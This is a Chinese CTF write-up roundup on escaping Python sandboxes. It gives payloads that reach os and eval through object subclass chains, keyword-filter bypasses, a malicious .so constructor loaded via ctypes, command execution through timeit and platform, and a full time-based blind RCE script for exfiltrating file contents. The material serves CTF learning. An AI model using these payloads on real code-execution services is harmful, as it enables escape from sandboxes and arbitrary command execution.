总结一下各大赛事中的沙箱逃逸题,感觉还是很好玩的~
先说一下自己对于这种沙箱逃逸题的理解吧,关键在于绕过,一般就是逼你用一些特别的操作去绕过他ban
掉的函数,得到flag
空说无意,我们直接来看比赛中的一些题目~
它过滤了一些危险函数,比如:os
、sys
等等,但我们可以通过类的继承关系找到被ban掉的库,然后将它导入进来。比如:
().__class__.__bases__[0].__subclasses__()
从代码上我们比较好理解,就是从()
找到它的父类也就是__bases__[0]
,而这个父类就是Python
中的根类
,它里面有很多的子类,包括file
等,这些子类中就有跟os
、system
等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。
知道了上面的基础后,我们可以找到一些payload
,比如:
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
但这道题的突破点是在获得类的属性上,从网上找的payload
中存在一些被ban
掉的关键字,如func_globals
中存在ls
,这也是做题时卡着的地方。而这些都可以用__getattribute__
进行突破
关于这里给出的最后一个可能的payload
,我们来看一下其可获取的是什么?
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]
很明显可见eval
,map
等一些函数,根据这个payload
,可知其对这些函数的使用方法为[‘function name’],简单本地做了一个测试,这是完全没有问题的。
本题最终给出payload
:
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()
这个payload
提到了一个新的点linecache
, 搜索一下很容易得到这是一个模块用于读取文件的,但os出现在这里是个什么情况?
python本地查看一下属性,,,好吧,真的有~
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__
以上这部分writeup
参考的@junay
的博客
在Github上,我又看到了@Xopowo
队伍大师傅放出来的write up,师傅们提出了一种新思路,使用到so
库
在().__class__.__bases__[0].__subclasses__()
中发现有可用的类
构造一个so
库,列一下/home/ctf/
下的文件
#include
void my_init(void) __attribute__((constructor));
void my_init(void)
{
system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}
将编译好的so
直接二进制写入/tmp/bk.so
使用ctypes
加载so
().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so')
这题用到了timeit
的一个骚操作,直接贴官方的write up
出题思路:这其实是一个我想做的python
在线代码编辑练习的站点,因为要考虑其安全性,所以我把文件读写,网络请求和一些危险模块ban
掉了,这样就形成了一个沙盒,也就出现了这道题目。
从师傅们的payload
可以看到大多是这几种:
__builtin__
[].__class__.__base__.__subclasses__()魔术方法;
一些危险模块等
还有些师傅直接以为是pwn
过沙盒,-。-!!但是其实没有那么复杂啊,这是一道web题,我后面给出的tips是:内置模块,内置函数,而python的内置模块百度下或者去官方还是很容易获得一个列表的,除去我ban
掉的如os
,sys
等危险的模块,还有很多可以尝试的啊 .
我这里给出的利用是来自一个常见的内置模块:timeit
.我相信很多初学python
的人都会用到timeit
模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('')", number=1)
还有一个模块platform
,同样也可以的
import platform
platform.popen('id', mode='r', bufsize=-1).read()
在timeit
模块里利用import
内置函数加载os
模块,然后就可以任意命令执行了,但是cat flag
是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye
等外带通道获取命令执行的结果。
于是这里就有了我以前碰到的一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce
最后写个类似盲注的脚本跑跑就出来了:
#coding:utf-8
#author:icematcha
import requests
import sys
import base64
payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="
def request(url, data, timeout):
try:
res = requests.post(url, data = data, timeout = timeout)
return res.content
except:
return True
def get_length(url, cmd, timeout):
length = ''
for i in xrange(1,10):
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1)
''' % (cmd, i)
data = {'process': value}
res = request(url, data, timeout)
if res:
llength = i
break
for i in xrange(1, llength):
for _ in xrange(1, 10):
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)
''' % (cmd, i, _)
data = {'process': value}
if request(url, data, timeout):
length += str(_)
print length
break
return length
def get_content(url, cmd, timeout, length):
content = ''
for i in xrange(1, int(length)+1):
for payload in payloads:
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)
''' % (cmd, i, payload)
data = {'process': value}
if request(url, data, timeout):
content += payload
print content
break
return content
if __name__ == '__main__':
length = get_length('http://47.95.252.234/runcode','cat flag', 2.0)
print "## The base32 of content's length is:%s" % length
content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length)
print "## The base32 of content is:%s" % content
print "## The commend result content is:%s" % base64.b32decode(content).strip()
以上write up来自比赛官方,而关于核心问题time based rce,其实就是可以理解为sql注入中我们常用的sleep盲注,这里都不用我们计算时间,时间由其返回
1、注意题目为python2
还是python3
的环境,其对应的库会有很大的一个差距,但总体来说,python27
有的,python3
都有,但需要改变相应下标
2、曲径通幽,多绕绕,最终获得你想要的模块,认真找,慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__()
出发,查看可用的类
若类中有file
,考虑读写操作
若类中有
,考虑从.__init__.func_globals.values()[13]
获取eval
,map
等等;又或者从.__init__.func_globals[linecache]
得到os
若类中有
,
,
,考虑构造so文件
其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解
3、分析ban
函数的时候考虑使用字符串拼接结合__getattribute__
绕过;当然也可以考虑base64
加解密来进行绕过,这部分可以参考sql注入的绕过思想
4、两个不常见的执行任意命令的方法:
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()
timeit
考虑time based rce
5、注意一种简单题型,出题者只做了如下一些处理:
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
看起来好像已经非常安全是么?但是,reload(module)
重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。
6、导入模块的方式。
以commands
模块为列:
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')
7、阅读了大量相关文章,看到有大牛通过pwn去做python沙箱逃逸题,pwn师傅们可以自行搜索~